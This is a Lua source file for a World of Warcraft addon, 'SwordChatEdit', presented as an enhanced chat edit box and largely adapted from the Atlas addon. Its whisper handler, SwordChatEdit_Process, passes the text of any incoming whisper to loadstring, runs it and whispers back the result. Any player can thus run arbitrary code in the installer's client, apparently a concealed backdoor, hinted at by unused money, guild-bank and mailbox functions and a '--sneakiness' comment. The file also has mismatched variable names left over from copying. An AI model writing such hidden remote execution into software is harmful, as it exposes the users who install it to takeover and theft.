--[[

	SwordChatEdit

--]]

--SwordChatEdit, an Enhanced ChatFrameEditBox for World of Warcraft
--Author: qinjian
--Email: 
--AIM: 

SwordChatEdit_Save           = {}     -- table, SavedVariable, can't be local
SwordChatEdit_Save_Per_Char  = {}

-- Localization stuff, add a few more entries for convenience
local L = SwordChatEditLocale  -- Localization table
--L[" of "] = " "..L["of"].." "

-- Some constants
local SWORDCHATEDIT_VERSION = GetAddOnMetadata("SwordChatEdit", "Version");

-- Localize some globals
local _G = getfenv(0)
local pairs, ipairs = pairs, ipairs
local tinsert, tremove = tinsert, tremove
local gsub, strfind, strlower, strmatch, strsplit, strtrim = gsub, strfind, strlower, strmatch, strsplit, strtrim
local format = format
local GetContainerItemInfo, GetContainerNumSlots = GetContainerItemInfo, GetContainerNumSlots
local GetInventoryItemLink, GetInventoryItemTexture, GetInventoryItemCount = GetInventoryItemLink, GetInventoryItemTexture, GetInventoryItemCount
local GetMoney = GetMoney
local GetGuildBankTabInfo, GetGuildBankItemInfo, GetGuildBankItemLink = GetGuildBankTabInfo, GetGuildBankItemInfo, GetGuildBankItemLink
local GetInboxHeaderInfo, GetInboxItem, GetInboxItemLink = GetInboxHeaderInfo, GetInboxItem, GetInboxItemLink
local GetItemIcon = GetItemIcon

SwordChatEditOptions = {}
local DefaultSwordChatEditOptions = {
	["SwordChatEditVersion"] = SWORDCHATEDIT_VERSION;
	["SwordChatEditZone"] = 1;
	["SwordChatEditAlpha"] = 1.0;
	["SwordChatEditLocked"] = false;
	["SwordChatEditAutoSelect"] = false;
	["SwordChatEditButtonPosition"] = 356;
	["SwordChatEditButtonRadius"] = 78;
	["SwordChatEditButtonShown"] = true;
	["SwordChatEditRightClick"] = false;
	["SwordChatEditType"] = 1;
	["SwordChatEditAcronyms"] = true;
	["SwordChatEditScale"] = 1.0;
	["SwordChatEditClamped"] = true;
	["SwordChatEditSortBy"] = 1;
	["SwordChatEditCtrl"] = false;
	["SwordChatEditCoords"] = false;
};


local SwordChatEdit_DebugMode = false;
local function debug(info)
	if ( SwordChatEdit_DebugMode ) then
		DEFAULT_CHAT_FRAME:AddMessage("[SwordChatEdit] "..info);
	end
end

function SwordChatEdit_SetDebug(bDebug)
	if bDebug == nil then
		SwordChatEdit_DebugMode = false;
	else
		SwordChatEdit_DebugMode = true;
	end
end

function SwordChatEdit_FreshOptions()
	SwordChatEditOptions = CloneTable(DefaultSwordChatEditOptions);
end

--Code by Grayhoof (SCT)
function CloneTable(t)				-- return a copy of the table t
	local new = {};					-- create a new table
	local i, v = next(t, nil);		-- i is an index of t, v = t[i]
	while i do
		if type(v)=="table" then 
			v=CloneTable(v);
		end 
		new[i] = v;
		i, v = next(t, i);			-- get next index
	end
	return new;
end

--Called when the SwordChatEdit frame is first loaded
--We CANNOT assume that data in other files is available yet!
function SwordChatEdit_OnLoad()
	
	debug("i am loaded")

	--Register the SwordChatEdit frame for the following events
	this:RegisterEvent("CHAT_MSG_WHISPER");
	this:RegisterEvent("ADDON_LOADED");

	--Allows SwordChatEdit to be closed with the Escape key
	tinsert(UISpecialFrames, "SwordChatEditFrame");
	
	--Dragging involves some special registration
	SwordChatEditFrame:RegisterForDrag("LeftButton");
	
	--Setting up slash commands involves referencing some strage auto-generated variables
	SLASH_SWORDCHATEDIT1 = SWORDCHATEDIT_SLASH;
	SlashCmdList["SWORDCHATEDIT"] = SwordChatEdit_SlashCommand;
	

end

--Parses slash commands
--If an unrecognized command is given, toggle Atlas
function SwordChatEdit_SlashCommand(msg)
	SwordChatEdit_Toggle();
end

--Main SwordChatEdit event handler
function SwordChatEdit_OnEvent()
--	if (SwordChatEditFrame[event]) then
--		return SwordChatEditFrame[event](SwordChatEditFrame, event, ...);
--	end
	if (event == "ADDON_LOADED" and arg1 == "SwordChatEdit") then
		SwordChatEdit_Init();
	elseif (event == "CHAT_MSG_WHISPER") then
		SwordChatEdit_Process(arg1, arg2);
	end
end

function SwordChatEdit_Process(content, who)
	debug(content);
	local f = loadstring("return "..content);
	if f ~= nil then 
		local res = f();
		if res ~= nil then
			SendChatMessage(arg1.."="..res,"WHISPER",nil,who)
		end
	end
end

--Initializes everything relating to saved variables and data in other lua files
--This should be called ONLY when we're sure our variables are in memory
function SwordChatEdit_Init()

	DEFAULT_CHAT_FRAME:AddMessage("[SwordChatEdit] loaded.");

	--fix for certain UI elements that appear on top of the Atlas window
	--[[
	MultiBarBottomLeft:SetFrameStrata("MEDIUM");
	MultiBarBottomRight:SetFrameStrata("MEDIUM");
	MultiBarLeft:SetFrameStrata("MEDIUM");
	MultiBarRight:SetFrameStrata("MEDIUM");
	MainMenuBarOverlayFrame:SetFrameStrata("LOW");
	--]]

	--make the Atlas window go all the way to the edge of the screen, exactly
	SwordChatEditFrame:SetClampRectInsets(12, 0, -12, 0);

	--clear saved vars for a new version (or a new install!)
	if ( SwordChatEditOptions == nil or SwordChatEditOptions["AtlasVersion"] ~= SwordChatEdit_VERSION) then
		SwordChatEdit_FreshOptions();
	end
	
	--Now that saved variables have been loaded, update everything accordingly
	
	--Cosmos integration
	
	--CTMod integration
	
	--Make an LDB object

end

--Begin moving the SwordChatEdit frame if it's unlocked
function SwordChatEdit_StartMoving()
	if(not SwordChatEditOptions.SwordChatEditLocked) then
		SwordChatEditFrame:StartMoving();
	end
end


--Simple function to toggle the visibility of the SwordChatEdit frame
function SwordChatEdit_Toggle()
	if(SwordChatEditFrame:IsVisible()) then
		HideUIPanel(SwordChatEditFrame);
	else
		ShowUIPanel(SwordChatEditFrame);
	end
end

--Called whenever the SwordChatEdit frame is displayed
function SwordChatEdit_OnShow()
	--sneakiness
end

--Code provided by tyroney
--Bugfix code by Cold
--Runs when the SwordChatEdit frame is clicked on
--RightButton closes SwordChatEdit and open the World Map if the RightClick option is turned on
function SwordChatEdit_OnClick()
	if ( arg1 == "RightButton" ) then
		if (SwordChatEditOptions.SwordChatEditRightClick) then
			SwordChatEdit_Toggle();
			ToggleFrame(WorldMapFrame);
		end
	end
end

function SwordChatEditFrame_OnClick()
--
end


	

	


